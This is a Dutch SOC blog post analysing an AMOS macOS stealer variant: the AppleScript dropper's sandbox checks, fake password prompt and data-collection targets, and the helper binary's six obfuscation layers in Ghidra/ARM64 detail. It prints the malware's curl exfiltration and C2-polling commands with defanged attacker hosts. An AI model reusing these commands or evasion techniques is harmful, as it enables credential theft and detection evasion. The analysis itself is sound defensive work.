Anatomie van een onbekende AMOS Stealer: van alert naar immuniteit in enkele uren
Een tot dan toe ongedocumenteerde AMOS-stealervariant compromitteerde een macOS-endpoint. Geen bekende hashes, geen C2-gegevens in openbare databases. Ons SOC haalde zes obfuscatielagen uit elkaar, extraheerde alle indicatoren en verdeelde de bescherming binnen enkele uren over alle SOC-klanten, nog voordat de branche het sample had gezien.

Wanneer in ons SOC een alert afgaat, begint de klok te lopen: niet alleen voor de getroffen klant, maar voor alle organisaties onder onze bescherming. Het gevaarlijkste moment in het huidige dreigingslandschap is de intelligence gap, het tijdvenster tussen de eerste inzet van een nieuwe malwarevariant en de dag waarop de branche daarvan hoort.
Voor zelfstandige securityteams betekent dat gat extreme kwetsbaarheid: je wacht op een vendor-update of een signature-feed die nog niet geschreven is. Voor onze klanten sluit onze intern ontwikkelde Shared Threat Intelligence precies dat venster.
Dit artikel is een technische uiteenzetting van hoe we een tot dan toe ongedocumenteerde AMOS-variant (Atomic macOS Stealer) uit elkaar hebben gehaald en hoe uit één enkel gecompromitteerd endpoint binnen enkele uren een dekkende detectie en blokkering voor al onze klantomgevingen ontstond.
Het incident: een onbekend IOC-scenario
De alert kwam binnen op 12 maart 2026 om 06:25 uur lokale tijd: een macOS-endpoint was gecompromitteerd. Toen ons SOC met de analyse van de artefacten begon, stonden we voor een situatie die elke threat analyst vreest: geen bekende file hashes, geen C2-IP-adressen, geen bruikbare gedragssignatures in openbare databases.
De volledige aanvalsarchitectuur werd pas in de diepteanalyse duidelijk. De infectie was gebaseerd op een macOS universal binary van 15,7 MB (x86_64 en ARM64), neergezet in /private/tmp/helper. Het sample was op het gecompromitteerde systeem niet direct beschikbaar; ons team moest de infectieketen reconstrueren en het oorspronkelijke afleververzoek simuleren om de binary handmatig uit de infrastructuur van de aanvaller op te halen.
Stage 1: sandbox-checks
Voordat de eigenlijke stealer op het toestel werd uitgevoerd, had al een AppleScript-payload gelopen. Elke string daarin, elk bestandspad, elk shell-commando, elke URL was gecodeerd via drie zelfgeschreven arithmetische functies:
on ipbgcjzgqa(a, b)
-- result[i] = chr(a[i] - b[i])
on kwcvvjininv(a, b)
-- result[i] = chr(a[i] + b[i])
on xqylheckjx(a, b, offset)
-- result[i] = chr(a[i] - b[i] - offset)
Geen enkele string komt in plaintext voor. Wat op het eerste gezicht op betekenisloze integer-arrays leek, bleek na het omkeren van het coderingsschema een volledig, direct inzetbaar framework voor datadiefstal en exfiltratie.
We hebben elke array in het script statisch gedecodeerd. De resultaten waren eenduidig:
Download URL: https[:]//woupp[.]com/n8n/update
Exfil server: http[:]//92[.]246[.]136[.]14/contact
Exfil method: curl --connect-timeout 120 --max-time 300 -X POST -F "file=@/tmp/out.zip"
De download-URL imiteert bewust een legitieme update van de workflowautomatisering n8n, een tool die bij developers en DevOps-engineers wijdverbreid is. Dat is geen toeval: de campagne richt zich op technisch onderlegde gebruikers, niet op gewone eindgebruikers die gekraakte software installeren.
De anti-sandbox-check
Voor de download voerde het script een aparte VM- en sandbox-detectieroutine uit. Uit de incident-artefacten konden we bovendien een zelfstandig anti-sandbox-script herstellen:
set urgufr to do shell script "system_profiler SPMemoryDataType"
set qcsvjxp to do shell script "system_profiler SPHardwareDataType"
De resultaten toetste het script vervolgens aan twee lijsten. De eerste zocht naar virtualisatiemarkeringen in de geheugendata:
"QEMU" "VMware" "KVM"
De tweede controleerde hardware-identifiers tegen een lijst met bekende serienummers van analysemachines:
"Z31FHXYQ0J" -- known sandbox machine serial
"C07T508TG1J2" -- known sandbox machine serial
"C02TM2ZBHX87" -- known sandbox machine serial
"Chip: Unknown" -- emulation indicator
"Intel Core 2" -- legacy/VM indicator
Bij een match: exit 100, volledige afbreking. Op een echte MacBook Pro met Apple Silicon werden alle checks geruisloos doorstaan en liep de uitvoering verder. Een sandbox-evasietechniek op professioneel niveau, die afliep voordat er ook maar één byte van de binary was gedownload.
Simpel, maar effectief: de nagemaakte wachtwoordprompt
Het gedecodeerde script bevatte ook de dialoog voor privilege-escalatie via social engineering:
Title: "Application wants to install helper"
Prompt: "Required Application Helper. Please enter device
password to continue."
Button: "Continue"
De dialoog verschijnt via een standaard macOS-display dialog-aanroep met with hidden answer en is visueel niet te onderscheiden van een echte macOS-autorisatieprompt. Het ingevoerde wachtwoord gebruikte het script om login -pf <username> aan te roepen en het proces naar root-rechten te tillen, nog voordat de binary werd uitgevoerd.
Wat het script heeft verzameld
Zodra de binary was uitgevoerd, zette het osascript zijn eigen verzamelproces voort en tapte het elke categorie gevoelige systeemdata af. We hebben alle verzamelpaden en doelen gedecodeerd:
Browserdata (alle Chromium-browsers + Safari):
/Login Data /Cookies /Web Data
/Local Extension Settings/ /IndexedDB/ /Local Storage/leveldb/
macOS Keychain:
~/Library/Keychains/login.keychain-db -- accessed directly via cat
Apple Notes
Volledige inhoud als HTML geëxporteerd, met teller-header
Lokale bestanden
Desktop en Documenten, tot 30 MB, met focus op:
pdf doc docx xls xlsx ppt pptx txt rtf
key p12 pem cert pfx sql db sqlite
json xml yaml conf env csv
Cryptovaluta-wallets
Een hardcoded lijst met meer dan 200 browser-extension-ID's die alle gangbare wallets dekt, waaronder MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI en Exodus.
Na het verzamelen werden alle data gebundeld in een willekeurig genoemde tijdelijke directory en geëxfiltreerd:
ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip
curl --connect-timeout 120 --max-time 300 -X POST \
-H "user: <uuid>" -H "BuildID: <hw_profile>" \
-F "file=@/tmp/out.zip" laislivon[.]com/contact
Het opruimen volgde direct daarna:
rm -r <staging_dir>
rm /tmp/out.zip
Stage 2: reverse engineering van de 'helper' binary
De helper-binary is het deel waar deze analyse werkelijk de diepte in gaat. Het gaat om een professioneel geobfusceerde macOS-executable die statische analyse systematisch bemoeilijkt en die de grootste reverse-engineeringinspanning van dit onderzoek vergde.
De volledige analyse is uitgevoerd met Ghidra en onze eigen ARM64-analyseworkflow.
Bestandseigenschappen
Het begint vóór main()
Het eerste dat we in Ghidra vaststelden: deze binary gedraagt zich niet als een normale executable. Het feitelijke entry point is niet main(), maar een functie die geregistreerd is in __mod_init_func, een macOS-mechanisme dat de dynamic linker (dyld) opdraagt bepaalde functies automatisch uit te voeren zodra de binary wordt geladen, nog voordat er bruikbare code loopt.
De init-functie op 0x10009f384 is het eigenlijke entry point van de malware. Hier de Ghidra-decompilatie:
// FUN_10009f384 @ 0x10009f384
// __mod_init_func registered — executes before main()void FUN_10009f384(void)
{
int iVar1;
// Anti-sandbox delay: usleep(0x37e) = 894 microseconds
iVar1 = _usleep(0x37e);
// Indirect jump table — 14-state machine// Defeats CFG reconstruction in static analysis tools
(_(code _)((ulong)switchD_10009f43c::switchdataD_1000cd3fc * 4 + 0x10009f440))(iVar1);
return;
}
Twee dingen vallen direct op. Ten eerste de usleep van 894 microseconden bij de start: een anti-sandbox-timingsignaal. Ernstiger is de indirecte jump table op 0x10009f43c. Dat is een berekende branch waarbij het doeladres pas tijdens runtime uit een lookup-tabel wordt bepaald. Statische analysetools kunnen de control flow graph niet reconstrueren; Ghidra logde meerdere “unreachable block”-waarschuwingen bij de poging het uitvoeringspad te volgen. Dat is precies de bedoeling.
De jump table drijft een uitvoeringsmachine met 14 toestanden aan. Elke toestand voert één discrete stap van de decryptie- en uitvoeringspipeline uit. De toestandsteller wordt na elke stap bijgewerkt, en de machine loopt tot alle toestanden zijn doorlopen.
De ARM64-disassembly van de state dispatcher
10009f3fc: stp xzr,xzr,[sp, #0x48]
10009f41c: mov w0,#0x37e
10009f420: bl 0x1000a0fa8 ; _usleep(0x37e) — 894µs anti-sandbox
10009f424: cmp w25,#0xd ; state counter < 14?
10009f428: b.hi 0x10009fd44 ; exit if done
10009f42c: mov w8,w25 ; current state index
10009f430: adr x9,0x10009f440 ; base of jump table
10009f434: ldrh w10,[x20, x8, LSL#1]; load jump offset from table
10009f438: add x9,x9,x10, LSL #0x2 ; compute target address
10009f43c: br x9 ; indirect branch, CFG broken here
Zes gestapelde obfuscatielagen
De binary gebruikt zes verschillende obfuscatielagen, gestapeld en aan elkaar geketend, zodat de output van elke laag in de volgende wordt gevoerd. Elke payload, elke string, elke interne constante is gecodeerd. In het __const-segment staat niets zinvols in plaintext. Wat volgt is een volledige laag-voor-laag-uiteenzetting, direct in Ghidra geverifieerd, tot op het niveau van afzonderlijke ARM64-instructies. Elk van de gebruikte technieken is op zichzelf bekend; hun geketende toepassing over meerdere fasen creëerde echter een sterk onderling afhankelijke uitvoeringsflow, die de statische en dynamische analyse aanzienlijk bemoeilijkte.
Layer 1: compile-time triplet-codering
Geen enkele string in de binary is als tekenreeks opgeslagen, maar als reeks van arithmetische triplets van 12 byte. Elk triplet (a, b, shift) codeert precies één outputkarakter. Het coderingsschema wordt tijdens het compileren toegepast, zodat geen enkele string ooit als plaintext in de binary bestaat, zelfs niet tijdelijk bij het laden.
Twee afzonderlijke decoderfuncties behandelen verschillende stringgroottes. FUN_100087c08 op 0x100087c08 decodeert strings van 60 tekens (720 byte inputdata uit DAT_1006292cc). FUN_10007ad80 op 0x10007ad80 decodeert strings van 56 tekens (672 byte uit DAT_10049708c). Beide gebruiken hetzelfde algoritme.
// FUN_100087c08 @ 0x100087c08
// Triplet decoder, 60 chars, data from DAT_1006292ccvoid FUN_100087c08(long *param_1)
{
long *plVar1;
void *pvVar2;
long lVar3;
uint *puVar4;
pvVar2 = operator_new(0x2d0); // allocate 720 bytes (60 triplets × 12)
_memcpy(pvVar2, &DAT_1006292cc, 0x2d0); // copy encoded triplets from __const
FUN_1000a0840(param_1, 0x3c, 0); // init 60-char output buffer
lVar3 = 0;
puVar4 = (uint _)((long)pvVar2 + 8);
do {
plVar1 = (long _)_param_1;
if (-1 < _(char _)((long)param_1 + 0x17)) {
plVar1 = param_1;
}
// THE DECODE FORMULA, one character per triplet:
// char = ((b _ 3) XOR a) >> shift) - b
_(char _)((long)plVar1 + lVar3) =
(char)((int)(puVar4-1 * 3 ^ puVar4-2) >> (*puVar4 & 0x1f)) - (char)puVar4-1;
lVar3 = lVar3 + 1;
puVar4 = puVar4 + 3; // advance 12 bytes — next triplet
} while (lVar3 != 0x3c); // loop exactly 60 times
operator_delete(pvVar2);
return;
}
De bijbehorende ARM64-assembly, waarbij elke instructie direct overeenkomt met een operatie in de formule:
100087c48: add x9,x20,#0x8
100087c4c: ldp w10,w11,[x9, #-0x8] ; load a → w10, b → w11
100087c50: add w12,w11,w11, LSL #0x1 ; w12 = b + (b << 1) = b * 3
; (compiler avoids MUL instruction)
100087c54: eor w10,w12,w10 ; w10 = (b*3) XOR a
100087c58: ldr w12,[x9], #0xc ; w12 = shift value; post-increment by 12
100087c5c: asr w10,w10,w12 ; arithmetic right shift — sign bit preserved
100087c60: sub w10,w10,w11 ; subtract b — final decoded character
100087c74: strb w10,[x11, x8, LSL ] ; store one byte to output buffer
100087c78: add x8,x8,#0x1
100087c7c: cmp x8,#0x3c ; loop counter vs. 60
100087c80: b.ne 0x100087c4c ; continue until all 60 chars decoded
Opmerkelijk: de multiplicatie b × 3 is geïmplementeerd als add w12, w11, w11, LSL #1, een shift-and-add die een multiplicatie-instructie volledig vermijdt. Dat is een klassieke compileroptimalisatie die de code tegelijk moeilijker vindbaar maakt via signature matching.
De volledige decoderingsformule:
char = ASR( (b × 3) XOR a, shift ) − b
De ASR (Arithmetic Shift Right) is beslissend: die behoudt het tekenbit. Als het tussenresultaat van (b×3) XOR a negatief is, wat vaak voorkomt, zou een logische shift een volstrekt ander resultaat opleveren. Dat is met opzet: wie de formule in een hogere programmeertaal met >> opnieuw implementeert, krijgt stilzwijgend verkeerde output, tenzij de signed arithmetiek expliciet wordt meegenomen.
De 56-tekenvariant FUN_10007ad80 is structureel identiek, werkt op DAT_10049708c met een looplimiet van 0x38. Beide functies zijn tijdens deze analyse live in Ghidra bevestigd.
Layer 2: hex-stringcodering
De ruwe bytes die layer 1 produceert, zijn zelf ASCII-hextekens, geen binaire data. De output van een layer 1-tripletdecode is een string van hexparen: 32694e5462.... Dat wordt bevestigd door de decoderfunctie FUN_100000dc0 op 0x100000dc0, die een hexdecode implementeert via een lookup-tabel op DAT_1007bb591.
De Ghidra-decompile toont een switch-statement dat elk hexteken (0x30-0x39, 0x41-0x46, 0x61-0x66) op zijn nibblewaarde mapt en outputbytes telkens twee tekens per keer samenstelt:
// FUN_100000dc0 @ 0x100000dc0// Hex decoder, processes input two characters per output byteswitch(*(undefined1 *)((long)plVar2 + lVar7)) {
case 0x30: break; // '0' → 0x00
case 0x31: bVar9 = 0x10; break; // '1' → 0x10
case 0x32: bVar9 = 0x20; break; // '2' → 0x20
// ... '3' through '9' ...
case 0x41: case 0x61: bVar9 = 0xa0; break; // 'A'/'a' → 0xa0
case 0x42: case 0x62: bVar9 = 0xb0; break; // 'B'/'b' → 0xb0
case 0x43: case 99: bVar9 = 0xc0; break; // 'C'/'c' → 0xc0
case 0x44: case 100: bVar9 = 0xd0; break; // 'D'/'d' → 0xd0
case 0x45: case 0x65: bVar9 = 0xe0; break; // 'E'/'e' → 0xe0
case 0x46: case 0x66: bVar9 = 0xf0; break; // 'F'/'f' → 0xf0
}
// Second nibble from lookup table at DAT_1007bb591
*(byte *)((long)pppppppuVar3 + uVar8) =
(&DAT_1007bb591)[(ulong)uVar4 & 0xff] | bVar9;
De ARM64-assembly drijft dit aan met een secundaire computed-branch-tabel en implementeert daarmee feitelijk een jump table met 55 entries voor de switch:
100000e5c: adr x17,0x100000e6c ; base of case-dispatch table
100000e60: ldrb w0,[x12, x16, LSL ] ; load offset for this hex char
100000e64: add x17,x17,x0, LSL #0x2 ; compute dispatch address
100000e68: br x17 ; jump — second computed branch in 24 bytes
Twee berekende branches in een venster van 24 byte. Statische analysetools komen met dit patroon niet uit de voeten, omdat beide branchdoelen op analysetijd onbekend zijn.
Een hexstring van 137.208 tekens levert na de decodering 68.604 byte op, die vervolgens in layer 3 worden gevoerd.
Layer 3: eigen nibble-alfabet met 16 symbolen
De 68.604 outputbytes uit layer 2 gebruiken slechts 16 unieke bytewaarden uit twee niet-aaneengesloten ASCII-bereiken:
0x20-0x2F: spatie,!,",#,$,%,&,',(,),*,+,,,-,.,/0x78-0x7F:x,y,z,{,|,},~, DEL
Dat is een bewuste ontwerpkeuze. In een hex editor lijken deze bytes op spaties, interpunctie en ASCII-randtekens; ze verdwijnen in de ruis van wat op metadata of padding lijkt. Een analist die een hexdump doorneemt, zal deze bytebereiken niet als verdacht markeren, en standaard entropie-analyses onderschatten de effectieve entropie, omdat de byteverdeling niet willekeurig lijkt.
Elke byte uit dit alfabet codeert één nibble van de eigenlijke payload. De toewijzing van alfabet naar nibble wordt toegepast door de encode-/decodefunctie FUN_100000d60, die we op 0x100000d60 hebben bevestigd. Die schakelt twee subfuncties aan elkaar: FUN_100000b50 maakt een geïndexeerde map van de tekens uit de inputstring, en FUN_100000c34 loopt door die map, verbruikt 6 bit per stap en accumuleert outputbytes van 8 bit per keer:
// FUN_100000c34 @ 0x100000c34, nibble accumulator
iVar5 = 0;
do {
local_52 = *(undefined1 *)puVar4;
lVar3 = FUN_1000a078c(param_3, &local_52); // look up nibble value
if (lVar3 == 0) {
// character not in alphabet, treat as raw
FUN_1000a078c(param_3, &local_51);
} else {
iVar5 = iVar5 + 4; // accumulate 4 bits
while (7 < iVar5) {
std::string::push_back((char)param_1); // emit byte when 8+ bits ready
iVar5 = iVar5 + -8;
}
}
puVar4 = (undefined8 *)((long)puVar4 + 1);
} while (puVar4 != puVar1);
De 34.302 byte die uit deze doorloop komen, zijn voor 99,7% printbare ASCII. Op de eerste vluchtige blik lijkt de payload in dit stadium op een groot shellscript of een configuratieblob.
Layer 4: compile-time stringobfuscatie
Intern gebruikte strings worden tijdens het compileren met hetzelfde tripletschema als in layer 1 geobfusceerd en tijdens runtime pas onmiddellijk voor gebruik gereconstrueerd. In het geheugen blijven ze nooit langer dan nodig; de buffer wordt na verbruik direct vrijgegeven. In de statische datasecties van de binary is op geen enkel moment een gedecodeerde string zichtbaar.
De stringhashfunctie FUN_100000730 levert een secundaire obfuscatielaag voor stringvergelijkingen. In plaats van strings direct te vergelijken, wat plaintext in het geheugen zou achterlaten, berekent en vergelijkt de binary integer-hashes:
// FUN_100000730 @ 0x100000730// FNV-style string hash, avoids plaintext string comparisonsint FUN_100000730(char *param_1)
{
int iVar4 = 0x19a8; // FNV offset basis (modified)
// ...
for (; uVar3 != 0; uVar3 = uVar3 - 1) {
iVar4 = (int)*pcVar1 + iVar4 * -0x7fb91be3; // FNV-1a style multiply
pcVar1 = pcVar1 + 1;
}
return iVar4;
}
De ARM64-assembly vervangt de multiplicatie door een fused multiply-add:
100000744: mov w0,#0x19a8 ; FNV basis
100000750: mov w10,#0xe41d
100000754: movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3
100000758: ldrsb w11,[x8], #0x1 ; load char, post-increment
10000075c: madd w0,w0,w10,w11 ; w0 = w0 * 0x8046e41d + char
100000760: subs x9,x9,#0x1
100000764: b.ne 0x100000758
Dat betekent dat zelfs een vergelijking van twee strings binnen de binary geen branch oplevert die een debugger netjes op stringniveau kan onderscheppen, alleen op hashniveau.
Layer 5: dubbele custom-stream-cipher-instanties
Op dit punt wordt de obfuscatiearchitectuur ongewoon. In de binary lopen niet één, maar twee afzonderlijke cipher-instanties, elk met een andere hardcoded lookup-tabel en een andere startteller. Beide gebruiken dezelfde algoritmestructuur, maar produceren verschillende outputalfabetten voor verschillende delen van de payloadpipeline.
Instantie A, FUN_10007ab34 op 0x10007ab34:
// Instance A, start counter 0x4c, table @ 0x100496f8b
uVar6 = 0x4c;
do {
bVar2 = *(byte *)((long)local_e0 +
((ulong)(*(byte *)((long)local_c8 + uVar5) ^ uVar6) & 0xff));
*(byte *)((long)plVar1 + uVar5) = bVar2;
uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // counter: i + (counter XOR output)
uVar5 = uVar5 + 1;
} while (uVar7 != uVar5);
Instantie B, FUN_10007a7e0 op 0x10007a7e0:
// Instance B, start counter 0x9f, different table @ 0x100496e0a region
uVar6 = 0x9f;
do {
bVar2 = *(byte *)((long)local_c0 +
((ulong)(*(byte *)((long)local_a8 + uVar5) ^ uVar6) & 0xff));
*(byte *)((long)plVar1 + uVar5) = bVar2;
uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // identical counter update formula
uVar5 = uVar5 + 1;
} while (uVar7 != uVar5);
Het algoritme is structureel identiek, maar de startteller verschilt (0x4c versus 0x9f) en de lookup-tabellen staan op verschillende geheugenadressen. Instantie A wordt aangeroepen uit toestand 11 van de state machine om het coderingsalfabet voor het eerste payloadpad te genereren. Instantie B wordt aangeroepen uit toestand 6 om het alfabet voor de decode van de grote shellscript-payload te genereren.
Preciezer gezegd: het gaat om een substitutiecijfer met een tellerafhankelijke index. Elke outputbyte is een tabel-lookup waarbij de index (input_byte XOR counter) & 0xFF is. De teller werkt zichzelf na elke byte bij als counter = (i + (counter XOR output)) & 0xFF, wat betekent dat elke outputbyte de bepaling van de volgende lookup-index beïnvloedt. Dat levert een afhankelijkheidsketen over de hele outputsequentie op: byte N valt niet te ontsleutelen zonder de bytes 0 tot N-1 correct te hebben ontsleuteld. Partiële decryptie of foutanalyse wordt daardoor aanzienlijk moeilijker.
Geen van beide instanties is standaard RC4. Er is geen S-box-initialisatiefase, geen S-box-swapoperatie. De lookup-tabellen zijn statische, tijdens het compileren ingebedde constanten.
Layer 6: runtime-XOR met een sleutel die van de exit code afhangt
De laatste en analytisch meest veeleisende laag past een in-place XOR-transformatie toe op de stage 2-payload. De XOR-sleutel is niet hardcoded, maar wordt tijdens runtime afgeleid uit de exit code van de eerste uitvoering van de shell-payload, en is daarmee via statische analyse principieel niet te bepalen. De binary moet werkelijk worden uitgevoerd en het eerste shellscript volledig doorlopen voordat de sleutel ook maar bestaat.
De sleutelafleidingssequentie in de ARM64-state-machine-dispatcher:
; After shell_exec_via_pipe #1 returns, exit code is in w0
10009f838: ubfx w8,w0,#0x8,#0x8 ; extract bits [15:8] of exit status
10009f83c: mov w9,#0x7f0 ; multiplier constant
10009f840: madd w8,w8,w9,w26 ; key = (exit_byte × 0x7f0) + base_counter
10009f844: and w24,w8,#0xffff ; mask to 16-bit key → stored in w24
De XOR-loop die de stage 2-payload verwerkt:
; In-place XOR, every byte of the payload is XORed with w24
10009fc34: ldrb w10,[x8, x9, LSL ] ; load payload byte
10009fc48: eor w10,w10,w24 ; XOR with key
10009fc4c: strb w10,[x8, x9, LSL ] ; write decrypted byte in place
De sleutel is een 16-bitwaarde die wordt afgeleid uit de exit-statusbyte van de eerste shell-payload, met 0x7f0 wordt gemultipliceerd en bij de actuele waarde van het basistellerregister w26 van de state machine wordt opgeteld. De multiplicatieconstante 0x7f0 zorgt ervoor dat een verschil van één bit in de exit code een volstrekt andere sleutel oplevert. Er is geen exploiteerbare continuïteit tussen aangrenzende sleutelwaarden.
Zonder de binary in een gecontroleerde omgeving uit te voeren en de exacte exit code van de eerste shell-payload vast te leggen, blijft de stage 2-payload voor statische analyse permanent ondoorzichtig. Dat was de moeilijkste hindernis van de hele analyse.
Shell-uitvoering: pipes in plaats van argumenten, en SIMD-XOR
De shell-uitvoeringsfunctie FUN_10000091c op 0x10000091c is architectonisch de interessantste component van de binary. Hier komt alles samen: de gedecodeerde payload, de geobfusceerde commandonaam en het expliciete anti-forensische ontwerp. Elke ontwerpkeuze in deze functie dient een specifiek evasiedoel.
Stap 1: de commandonaam komt nooit in plaintext voor
/bin/zsh bestaat nergens in de binary als plaintext. In de __cstring-sectie op 0x1007bb5c8 staat de string als geobfusceerde bytes \x01LG@\x01T]F. De decodering gebeurt tijdens runtime via een enkele XOR-operatie, direct in de ARM64-assembly te verifiëren:
; FUN_10000091c — command name decode via SIMD XOR
100000960: adrp x8,0x1007bb000
100000964: add x8,x8,#0x5c8 ; x8 → "\x01LG@\x01T]F" in __cstring
100000968: ldr x8,[x8] ; load 8 obfuscated bytes as uint64
10000096c: str x8,[sp, #0x20]
100000970: strb wzr,[sp, #0x28] ; null terminator
100000974: ldr d0,[sp, #0x20] ; load into SIMD register d0
100000978: movi v1.8B,#0x2e ; broadcast 0x2e to all 8 lanes of v1
10000097c: eor v0.8B,v0.8B,v1.8B ; XOR all 8 bytes simultaneously
100000980: str d0,[sp, #0x20] ; store decoded "/bin/zsh"
100000988: mov w8,#0x732d ; 0x732d = "-s" (little-endian)
10000098c: strh w8,[sp, #0x4] ; store argument string
De XOR-sleutel is 0x2e, de ASCII-waarde van . (punt). De decodering gebeurt in één enkele eor v0.8B, v0.8B, v1.8B-instructie, een ARM64-NEON-vectorinstructie die alle 8 bytes gelijktijdig XOR't. Een SIMD-instructie gebruiken voor een eenvoudige decode van 8 byte is ongebruikelijk en heeft twee effecten: sneller dan een byte-voor-byte-loop, en het instructiepatroon dat daaruit ontstaat wijkt fundamenteel af van de scalaire decodeloops waarop signature-matching-tools getraind zijn.
De verificatie is eenvoudig: 0x01 XOR 0x2e = 0x2f = /, 0x4c XOR 0x2e = 0x62 = b, 0x47 XOR 0x2e = 0x69 = i, 0x40 XOR 0x2e = 0x6e = n, wat in de eerste vier bytes /bin oplevert.
Stap 2: de pipe-architectuur
Na het decoderen van de commandonaam maakt de functie een OS-pipe aan en forkt:
100000990: bl 0x1000a0f6c ; _fork()
100000994: mov x20,x0 ; save PID
100000998: cbz w0,0x100000b00 ; if child: jump to exec path
In het childproces:
; Child process path
100000b0c: mov w1,#0x0
100000b10: bl 0x1000a0f48 ; _dup2(pipe_read_fd, STDIN=0)
; pipe read-end is now stdin, shell reads from pipe
100000b2c: add x0,sp,#0x20 ; argv[0] = "/bin/zsh"
100000b30: add x1,sp,#0x8 ; argv array
100000b34: bl 0x1000a0f60 ; _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
Het childproces vervangt zijn standaardinput door het lees-eind van de pipe en start /bin/zsh -s. In de -s-modus leest de shell commando's van stdin. Voor process-monitoringtools verschijnt dit proces als /bin/zsh -s zonder argumenten, niet te onderscheiden van een legitieme interactieve shellsessie.
Stap 3: chunk-writes met variabele grootte
Het parentproces schrijft de ontsleutelde payload in bewust variërende chunkgroottes naar het schrijf-eind van de pipe:
; Parent: compute chunk size then write
1000009d4: umulh x8,x23,x24 ; high-half multiply for modulo
1000009d8: lsr x8,x8,#0x7
1000009dc: msub x8,x8,x25,x23 ; x8 = length % 0xc0
1000009e0: add x8,x8,#0x40 ; chunk = (length % 192) + 64
; range: 64 to 255 bytes per write
1000009e4: cmp x8,x23 ; clamp to remaining length
1000009e8: csel x2,x8,x23,cc
1000009ec: ldr w0,[sp, #0x34] ; pipe write fd
1000009f0: mov x1,x21 ; payload pointer
1000009f4: bl 0x1000a0fc0 ; _write(fd, buf, chunk_size)
100000a04: mov w0,#0x1
100000a08: bl 0x1000a0fa8 ; _usleep(1), 1µs between chunks
100000a0c: add x21,x21,x22 ; advance pointer
100000a10: sub x23,x23,x22 ; reduce remaining count
100000a14: cbnz x23,0x1000009d4 ; loop until done
De chunkgrootteformule (remaining_length % 192) + 64 levert waarden tussen 64 en 255 byte per write-aanroep, afhankelijk van de resterende payloadlengte. Het variabele writepatroon is zichtbaar in kernel-event-tracing-tools als ktrace of dtrace, maar levert geen herkenbare signature met vaste grootte op. Elke uitvoering van dezelfde payload produceert een andere reeks van write()-syscallgroottes.
De usleep van 1 microseconde tussen de chunks dient een tweede doel: die geeft de CPU tussen de schrijfoperaties vrij, houdt het CPU-gebruik vlak en voorkomt een plotselinge piek die een gedragsgebaseerde EDR-regel als afwijkende burst-I/O zou kunnen markeren.
Stap 4: onmiddellijke geheugenopruiming
; After all chunks written and pipe closed:
100000a20: ldrb w8,[x19, #0x17] ; check string storage type
100000a24: sxtb w9,w8
100000a28: ldp x10,x11,[x19]
100000a30: csel x0,x10,x19,lt ; pointer to payload buffer
100000a34: csel x1,x11,x8,lt ; length of buffer
100000a38: bl 0x1000a0f30 ; _bzero(payload_buf, length)
De _bzero()-aanroep nult de volledige ontsleutelde payloadbuffer direct na de laatste schrijfoperatie naar de pipe. Geen tijdvenster, zelfs geen microseconde, waarin de ontsleutelde payload na afronding van de uitvoering nog in het geheugen zou staan. Een live memory dump die direct na het terugkeren van deze functie wordt gemaakt, vindt alleen nullen waar de payload stond.
Dat wordt zero-after-use genoemd, dezelfde techniek die hoogbeveiligde cryptografische bibliotheken inzetten zodat sleutelmateriaal niet in het geheugen achterblijft. Dat deze techniek in commodity malware opduikt, is ongebruikelijk en wijst op een ontwikkelaar met een achtergrond in security engineering.
De volledige uitvoeringssequentie:
__cstring: "\x01LG@\x01T]F" (7 bytes, obfuscated)
↓ SIMD XOR with 0x2e (8-wide vector)
stack: "/bin/zsh\0" (decoded in-place, stack only)
↓ _pipe() creates fd pair [read=local_60, write=local_5c]
↓ _fork()
│
├─ CHILD: _dup2(local_60, 0) stdin = pipe read end
│ _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
│ → /bin/zsh reads commands from stdin (= pipe)
│
└─ PARENT: loop: _write(local_5c, payload, variable_chunk)
_usleep(1)
_close(local_5c) close write end → EOF to shell
_bzero(payload, len) ← WIPE IMMEDIATELY
_waitpid(child, ...)
De import table als wapen
De volledige import table van deze binary:
// C runtime / memory
_memcpy _memmove _memset _bzero
// Process execution
_fork _execvp _execl __exit
// IPC / pipes
_pipe _dup2 _close _write
// Synchronisation
_waitpid _usleep
// Stack protection
___stack_chk_fail ___stack_chk_guard
// C++ runtime
operator.new operator.delete __Unwind_Resume
___cxa_allocate_exception ___cxa_throw ___cxa_begin_catch
___cxa_end_catch ___cxa_free_exception ___gxx_personality_v0
terminate logic_error bad_array_new_length __next_prime
// STL containers
append reserve push_back operator=
// Dynamic linking
dyld_stub_binder
In totaal 27 symbolen. Wat ontbreekt, is minstens zo verhelderend als wat aanwezig is.
Afwezig: netwerk
socket connect bind listen
accept send recv sendto
recvfrom getaddrinfo gethostbyname
Afwezig: bestandssysteem
open read fopen fread
fwrite fclose stat unlink
mkdir rename opendir readdir
Afwezig: procesintrospectie
getpid getuid getenv sysctl
Afwezig: cryptografie
CCCrypt SecItemAdd SecKeychainFind
Bij een traditioneel malwaresample verwacht je netwerk-imports (socket, connect) of file-imports (fopen, write). Deze binary heeft er geen enkele. Voor een standaardscanner ziet ze eruit als een onschuldige processlauncher, en dat is zo bedoeld: een bewuste architectuurkeuze die statische analysetools met lege handen laat staan.
De helper-binary voert de diefstal niet zelf uit. Haar enige doel is het neerzetten en uitvoeren van de eigenlijke kwaadaardige payload, een sterk geobfusceerd AppleScript. Een EDR of AV die naar kwaadaardige binaries zoekt, ziet hier een loader zonder netwerk- of file-I/O en beoordeelt die mogelijk als schoon, zonder te herkennen dat de binary een gespecialiseerd afleversysteem is voor een high-level scriptpayload.
De backdoor
Het incident eindigde niet na de initiële compromittering. Telemetrie van Microsoft Defender toonde een proces dat vanuit /Users/<redacted>/.mainhelper liep en een externe server opvroeg:
sh -c "curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'"
De base64-string decodeerde naar een device-UUID van 16 byte, de unieke identifier die de C2-infrastructuur van de aanvaller op de dag van de eerste infectie aan dit toestel had toegekend.
De .mainhelper-binary (SHA-256: 7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063) was op de dag van het incident door de osascript-dropper via ditto geïnstalleerd.
De kracht van het collectieve schild: ons Shared Threat Intelligence Platform
